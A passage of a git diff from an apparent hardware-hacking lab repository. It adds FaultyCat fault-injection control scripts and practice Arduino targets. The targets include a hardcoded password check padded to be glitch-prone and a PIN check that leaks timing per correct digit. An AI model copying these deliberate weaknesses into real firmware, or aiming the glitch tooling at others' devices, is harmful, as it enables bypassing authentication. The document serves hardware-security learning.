+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+        sys.stdout.write("\rSent pulse...")
+        sys.stdout.flush()
+
+        # Start a thread to read the screen output
+        reader_thread = threading.Thread(target=read_screen_output)
+        reader_thread.start()
+
+        # Wait for the reading thread to complete
+        reader_thread.join()
+        
+    except Exception as e:
+        sys.stdout.write(f"\rError interacting with screen session during pulse: {e}")
+        sys.stdout.flush()
+        return False
+
+def start_faulty_attack():
+    """Send a pulse through the FaultyCat and listen for the response concurrently."""
+    global child
+    try:
+        # Initialize the child process for screen session
+        initialize_child()
+
+        # Open FaultyCat connection
+        faulty_worker.board_uart.open()
+        time.sleep(0.1)
+        sys.stdout.write("\rBoard connected.\n")
+        sys.stdout.flush()
+
+        # Arming the board
+        sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        time.sleep(1)
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+
+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()
diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt
new file mode 100644
index 0000000..5ffdc64
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/requirements.txt
@@ -0,0 +1,9 @@
+click==8.1.7
+colorama
+markdown-it-py
+mdurl
+Pygments==2.17.2
+pyserial
+rich==13.7.0
+typer==0.9.0
+typing_extensions
diff --git a/README.md b/README.md
deleted file mode 100644
index 5ca94a8..0000000
--- a/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-Hardware
-===============
-
-A place for me to store my hardware experiments and scripts and useful tidbits
\ No newline at end of file
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
new file mode 100644
index 0000000..53839d4
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
@@ -0,0 +1,103 @@
+#include <avr/sleep.h>
+#include <avr/interrupt.h>
+#include <SoftwareSerial.h>
+ 
+const int rx = 1;  // for serial input
+const int tx = 4;   // pin 5 for serial.print()
+SoftwareSerial Serial(rx, tx);  // rx, tx pins
+
+int rgLed = 2;  // red/green LED pin
+int button = 3; // buttons pin
+int buttonValue; // Stores analog value when button is pressed
+
+String ourCode = "1324";      // Set the required PIN code.
+String currentCode = "";      // Stores entered code
+
+void setup() {
+  pinMode(rgLed, INPUT);
+  pinMode(rx, INPUT); // setup and print to serial
+  pinMode(tx, OUTPUT);
+  Serial.begin(9600);
+  Serial.println("Running");
+
+  red(500);
+  green(500);
+}
+
+#pragma GCC push_options
+#pragma GCC optimize ("O0")  // Disable optimisations
+
+void addkey(String keyPressed) {
+  currentCode += keyPressed;
+  Serial.println("Entered so far: " + currentCode);
+  
+  if (currentCode.length() == ourCode.length()) {
+    Serial.print("Checking: ");
+    volatile bool correct = true;
+        
+    for (int i = 0; i < ourCode.length(); i++) {
+      if (currentCode[i] != ourCode[i]) {
+        correct = false;
+        break;
+      }
+      
+      do_login();
+    }
+    
+    if (correct) {
+      Serial.println("correct");
+      green(500);
+      delay(500);
+      green(500);
+      delay(500);
+      green(500);
+    } else {
+      Serial.println("failed");
+      red(500);
+    }
+    currentCode = ""; // Reset the entered code
+  }
+}
+
+#pragma GCC pop_options
+
+void green(int del) { // turn on green LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, HIGH);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void red(int del) { // turn on red LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, 255);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void do_login(){
+  delay(5);
+}
+
+void loop() {
+  buttonValue = analogRead(button); // Read analog value from A0 pin
+  
+  if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button:
+    addkey("1");
+  } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button:
+    addkey("2");
+  } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button:
+    addkey("3");
+  } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button:
+    addkey("4");
+  }
+  
+  if (Serial.available()) { // Check if data is available from Serial input
+    char key = Serial.read(); // Read the character
+    if (key >= '1' && key <= '4') { // Ensure input is a valid key
+      addkey(String(key));
+    }
+  }
+  
+  delay(100);
+}

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
